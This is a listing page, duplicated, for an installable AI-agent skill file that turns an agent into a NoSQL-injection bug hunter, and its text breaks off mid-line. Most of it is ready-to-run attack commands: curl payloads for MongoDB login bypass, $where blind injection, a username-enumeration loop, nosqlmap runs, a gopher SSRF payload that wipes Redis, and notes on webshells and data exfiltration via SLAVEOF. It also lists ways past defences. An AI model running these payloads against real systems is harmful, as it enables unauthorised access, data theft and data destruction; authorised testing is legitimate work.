hunt-nosqli

Name: hunt-nosqli
Author: elementalsouls

3.0kstars461forks

How to install hunt-nosqli?

elementalsouls/claude-bughunter/hunt-nosqli

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-nosqli

Installs into the current project.

Summary

Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

Files · 1

View on GitHub

SKILL.md

1	# HUNT-NOSQLI — NoSQL Injection
2
3	## Crown Jewel Targets
4
5	NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
6
7	Highest-value chains:
8	- MongoDB auth bypass — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin)
9	- $where JS injection — if $where is enabled: blind injection → data exfil
10	- Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
11	- Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE
12
13	---
14
15	## Attack Surface Signals
16
17	### URL & Param Patterns
18	```
19	/api/users/login POST with JSON body
20	/api/search?q=
21	/api/find?filter=
22	/api/query?where=
23	Any endpoint accepting JSON body with username/password
24	```
25
26	### Stack Signals
27	\| Signal \| Vector \|
28	\|--------\|--------\|
29	\| MongoDB error messages in response \| Operator injection \|
30	\| mongoose / monk in JS bundles \| ODM patterns \|
31	\| X-Powered-By: Express \| Node.js + MongoDB common stack \|
32	\| CouchDB/_utils UI exposed \| Futon/Fauxton admin \|
33	\| Redis port 6379 open (via SSRF) \| CONFIG SET / SLAVEOF \|
34	\| Elasticsearch :9200 open \| Script injection \|
35
36	---
37
38	## Step-by-Step Hunting Methodology
39
40	### Phase 1 — Auth Bypass (MongoDB)
41	```bash
42	# Operator injection in JSON body
43	curl -s -X POST https://$TARGET/api/login \
44	-H "Content-Type: application/json" \
45	-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
46
47	# Regex wildcard — match any username
48	curl -s -X POST https://$TARGET/api/login \
49	-H "Content-Type: application/json" \
50	-d '{"username": {"$regex": "."}, "password": {"$regex": "."}}'
51
52	# ne (not equal) bypass
53	curl -s -X POST https://$TARGET/api/login \
54	-H "Content-Type: application/json" \
55	-d '{"username": "admin", "password": {"$ne": "wrong"}}'
56
57	# in array bypass
58	curl -s -X POST https://$TARGET/api/login \
59	-H "Content-Type: application/json" \
60	-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
61	```
62
63	### Phase 2 — URL Parameter Injection
64	```bash
65	# Array notation (Express/PHP-style)
66	curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
67	curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
68
69	# POST form data
70	curl "https://$TARGET/api/login" \
71	--data "username[$gt]=&password[$gt]="
72	```
73
74	### Phase 3 — $where Blind Injection (time-based)
75	```bash
76	# Test if $where is enabled (time-based detection, 5s delay)
77	curl -s -X POST https://$TARGET/api/search \
78	-H "Content-Type: application/json" \
79	-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
80	# If response takes 5+ seconds → $where injection confirmed
81
82	# Blind data exfil (username starts with 'a'?)
83	curl -s -X POST https://$TARGET/api/search \
84	-H "Content-Type: application/json" \
85	-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
86	```
87
88	### Phase 4 — Data Dump via Regex
89	```bash
90	# Enumerate usernames character by character
91	for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
92	RESP=$(curl -s -X POST https://$TARGET/api/users \
93	-H "Content-Type: application/json" \
94	-d "{\"username\": {\"\$regex\": \"^$c\"}}")
95	echo "$c: $(echo $RESP \| wc -c)"
96	done
97	```
98
99	### Phase 5 — Automation
100	```bash
101	# nosqlmap
102	pip3 install nosqlmap
103	nosqlmap -u "https://$TARGET/api/login" --attack 1
104
105	# nosqlmap data extraction
106	nosqlmap -u "https://$TARGET/api/login" --attack 2
107	```
108
109	### Phase 6 — Redis via SSRF
110	```bash
111	# If SSRF found, probe internal Redis via gopher://
112	curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
113
114	# CONFIG SET webshell (if Redis has write access to web root)
115	# Use SLAVEOF for OOB data exfil
116	```
117
118	---
119
120	## Bypass Table
121
122	\| Defense \| Bypass \|
123	\|---------\|--------\|
124	\| JSON.parse rejects objects \| Use array: `password[$ne]=x` (URL params) \|
125	\| Sanitizes `$` \| Unicode: `$gt` \|
126	\| Blocks operator keys \| Nested objects deeper in structure \|
127
128	---
129
130	## Chain Table
131
132	\| NoSQLi finding \| Chain to \| Impact \|
133	\|---------------\|----------\|--------\|
134	\| Auth bypass \| Admin panel access \| Full admin control \|
135	\| User enum via regex \| Credential stuffing \| Mass ATO \|
136	\| $where enabled \| Arbitrary JS in DB process \| Data exfil or DoS \|
137	\| Redis via SSRF \| CONFIG SET / SLAVEOF \| Webshell or data exfil \|
138
139	---
140
141	## Validation
142
143	✅ Auth bypass: logged in without valid credentials, received valid session token
144	✅ Data dump: returned users/documents you shouldn't have access to
145	✅ Blind injection: confirmed via time-delay (>4 seconds consistent)
146
147	Severity:
148	- Auth bypass as admin: Critical
149	- User collection dump: High
150	- Blind injection (no us

People who liked this also viewed

6 picks

Type

hunt-nosqli

3.0kstars461forks

View on GitHub

How to install hunt-nosqli?

elementalsouls/claude-bughunter/hunt-nosqli

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-nosqli

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# HUNT-NOSQLI — NoSQL Injection
2
3	## Crown Jewel Targets
4
5	NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
6
7	Highest-value chains:
8	- MongoDB auth bypass — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin)
9	- $where JS injection — if $where is enabled: blind injection → data exfil
10	- Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
11	- Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE
12
13	---
14
15	## Attack Surface Signals
16
17	### URL & Param Patterns
18	```
19	/api/users/login POST with JSON body
20	/api/search?q=
21	/api/find?filter=
22	/api/query?where=
23	Any endpoint accepting JSON body with username/password
24	```
25
26	### Stack Signals
27	\| Signal \| Vector \|
28	\|--------\|--------\|
29	\| MongoDB error messages in response \| Operator injection \|
30	\| mongoose / monk in JS bundles \| ODM patterns \|
31	\| X-Powered-By: Express \| Node.js + MongoDB common stack \|
32	\| CouchDB/_utils UI exposed \| Futon/Fauxton admin \|
33	\| Redis port 6379 open (via SSRF) \| CONFIG SET / SLAVEOF \|
34	\| Elasticsearch :9200 open \| Script injection \|
35
36	---
37
38	## Step-by-Step Hunting Methodology
39
40	### Phase 1 — Auth Bypass (MongoDB)
41	```bash
42	# Operator injection in JSON body
43	curl -s -X POST https://$TARGET/api/login \
44	-H "Content-Type: application/json" \
45	-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
46
47	# Regex wildcard — match any username
48	curl -s -X POST https://$TARGET/api/login \
49	-H "Content-Type: application/json" \
50	-d '{"username": {"$regex": "."}, "password": {"$regex": "."}}'
51
52	# ne (not equal) bypass
53	curl -s -X POST https://$TARGET/api/login \
54	-H "Content-Type: application/json" \
55	-d '{"username": "admin", "password": {"$ne": "wrong"}}'
56
57	# in array bypass
58	curl -s -X POST https://$TARGET/api/login \
59	-H "Content-Type: application/json" \
60	-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
61	```
62
63	### Phase 2 — URL Parameter Injection
64	```bash
65	# Array notation (Express/PHP-style)
66	curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
67	curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
68
69	# POST form data
70	curl "https://$TARGET/api/login" \
71	--data "username[$gt]=&password[$gt]="
72	```
73
74	### Phase 3 — $where Blind Injection (time-based)
75	```bash
76	# Test if $where is enabled (time-based detection, 5s delay)
77	curl -s -X POST https://$TARGET/api/search \
78	-H "Content-Type: application/json" \
79	-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
80	# If response takes 5+ seconds → $where injection confirmed
81
82	# Blind data exfil (username starts with 'a'?)
83	curl -s -X POST https://$TARGET/api/search \
84	-H "Content-Type: application/json" \
85	-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
86	```
87
88	### Phase 4 — Data Dump via Regex
89	```bash
90	# Enumerate usernames character by character
91	for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
92	RESP=$(curl -s -X POST https://$TARGET/api/users \
93	-H "Content-Type: application/json" \
94	-d "{\"username\": {\"\$regex\": \"^$c\"}}")
95	echo "$c: $(echo $RESP \| wc -c)"
96	done
97	```
98
99	### Phase 5 — Automation
100	```bash
101	# nosqlmap
102	pip3 install nosqlmap
103	nosqlmap -u "https://$TARGET/api/login" --attack 1
104
105	# nosqlmap data extraction
106	nosqlmap -u "https://$TARGET/api/login" --attack 2
107	```
108
109	### Phase 6 — Redis via SSRF
110	```bash
111	# If SSRF found, probe internal Redis via gopher://
112	curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
113
114	# CONFIG SET webshell (if Redis has write access to web root)
115	# Use SLAVEOF for OOB data exfil
116	```
117
118	---
119
120	## Bypass Table
121
122	\| Defense \| Bypass \|
123	\|---------\|--------\|
124	\| JSON.parse rejects objects \| Use array: `password[$ne]=x` (URL params) \|
125	\| Sanitizes `$` \| Unicode: `$gt` \|
126	\| Blocks operator keys \| Nested objects deeper in structure \|
127
128	---
129
130	## Chain Table
131
132	\| NoSQLi finding \| Chain to \| Impact \|
133	\|---------------\|----------\|--------\|
134	\| Auth bypass \| Admin panel access \| Full admin control \|
135	\| User enum via regex \| Credential stuffing \| Mass ATO \|
136	\| $where enabled \| Arbitrary JS in DB process \| Data exfil or DoS \|
137	\| Redis via SSRF \| CONFIG SET / SLAVEOF \| Webshell or data exfil \|
138
139	---
140
141	## Validation
142
143	✅ Auth bypass: logged in without valid credentials, received valid session token
144	✅ Data dump: returned users/documents you shouldn't have access to
145	✅ Blind injection: confirmed via time-delay (>4 seconds consistent)
146
147	Severity:
148	- Auth bypass as admin: Critical
149	- User collection dump: High
150	- Blind injection (no us

People who liked this also viewed

6 picks

Type